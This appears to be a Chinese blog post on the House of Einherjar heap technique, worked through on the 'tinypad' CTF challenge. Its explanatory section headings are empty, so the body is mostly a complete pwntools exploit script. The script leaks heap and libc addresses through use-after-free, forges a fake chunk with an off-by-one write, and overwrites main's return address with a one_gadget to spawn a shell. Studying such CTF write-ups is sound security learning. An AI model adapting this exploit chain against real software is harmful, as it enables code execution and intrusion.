虽然这也不是啥特别高级的技术,都是已有技术的组合。但是在实际运用的时候面临各种条件限制,各种奇葩构造方式真是让人心力憔悴。这部分wiki里给的例题还不错,集合了很多实用的技巧,值得深入分析。

引用: https://wiki.x10sec.org/pwn/heap/house_of_einherjar

0x00 原理

0x01 题目分析

源代码解析

利用点

0x02 exp思路

思路

难点

完整exp

python3

#!/usr/bin/python3

from pwn import *

p = process("./tinypad")
elf = ELF("./tinypad")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def add(size:int,content):
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>> ")
    p.sendline(str(size).encode())
    p.recvuntil(b"(CONTENT)>>> ")
    p.sendline(content)
    

def delete(idx:int):
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"D")
    p.recvuntil(b"(INDEX)>>> ")
    p.sendline(str(idx).encode())
   
def edit(idx:int,content):
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"E")
    p.recvuntil(b"(INDEX)>>> ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"(CONTENT)>>> ")
    p.sendline(content)
    p.recvuntil(b"(Y/n)>>> ")
    p.sendline(b"Y")
    
def quit():
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"Q")

def exp():
    # 1. leak heap (UAF)
    add(0x70,b"aaaaaaaa") #idx1
    add(0x70,b"bbbbbbbb") #idx2
    '''注意先delete(2)再delete(1)是因为1的低位有\x00,导致strlen无法获取长度并输出'''
    delete(2)
    delete(1)
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    heap = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00")) - 0x80
    print("heap:",hex(heap))
    #gdb.attach(p)

    # 2. leak libc (UAF)
    add(0x80,b"aaaaaaaa") #idx1
    add(0x10,b"bbbbbbbb") #idx2
    delete(1)
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    unsortedbin_arena = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    libc_base = unsortedbin_arena - 0x58 - 0x3C4B20
    print("unsortedbin_arena:",hex(unsortedbin_arena))
    print("libc_base:",hex(libc_base))
    #gdb.attach(p)
    delete(2)
    
    # 3. house of einherjar
    add(0x18,b"a"*0x18) #idx1
    add(0x100,b"b"*0xf8+b"\x11") #idx2
    add(0x100,b"c"*0xf8) #idx3
    add(0x100,b"d"*0xf8) #idx4
    
    tinypad = 0x602040
    fakechunk_addr = tinypad + 0x20 #tinypad+0x30-0x10 (total:0x100)
    fakechunk_size = 0x101
    fakechunk = p64(0)+p64(fakechunk_size)+p64(fakechunk_addr)*2
    edit(3,b"p"*0x20 + fakechunk)
    
    prevsize = heap+0x1b0-fakechunk_addr
    print("heap:",hex(heap))
    print("prevsize:",hex(prevsize))
    edit(1,b"a"*0x18)
    edit(1,b"a"*0x17)
    edit(1,b"a"*0x16)
    edit(1,b"a"*0x15)
    edit(1,b"a"*0x14)
    payload1 = b"a"*0x10 + p64(prevsize)
    edit(1,payload1)
    delete(2)

    
    # fix fakechunk size,fd,bk
    payload2 = b"p"*0x20+p64(0)+p64(0x101)+p64(unsortedbin_arena)*2
    edit(4,payload2)

    # 4. main_ret -> one_gadget
    one_gadget = libc_base + 0x45216
    environ = libc_base + 0x3c6f38
    print("one_gadget:",hex(one_gadget))
    print("environ:",hex(environ))
    #gdb.attach(p)
    
    payload3 = b"p"*0xd0 + b"d"*8 + p64(environ) + b"d"*8 + p64(0x602148)
    add(0xf8,payload3) #idx2
    
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    main_ret = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00")) - 0xf0
    print("main_ret:",hex(main_ret))
    
    #modify main_ret to one_gadget
    edit(2,p64(main_ret))
    edit(1,p64(one_gadget))
    
    #quit and getshell
    p.sendline(b"Q")
    p.interactive()
    
    

if __name__ == "__main__":
    exp()

标签: none

添加新评论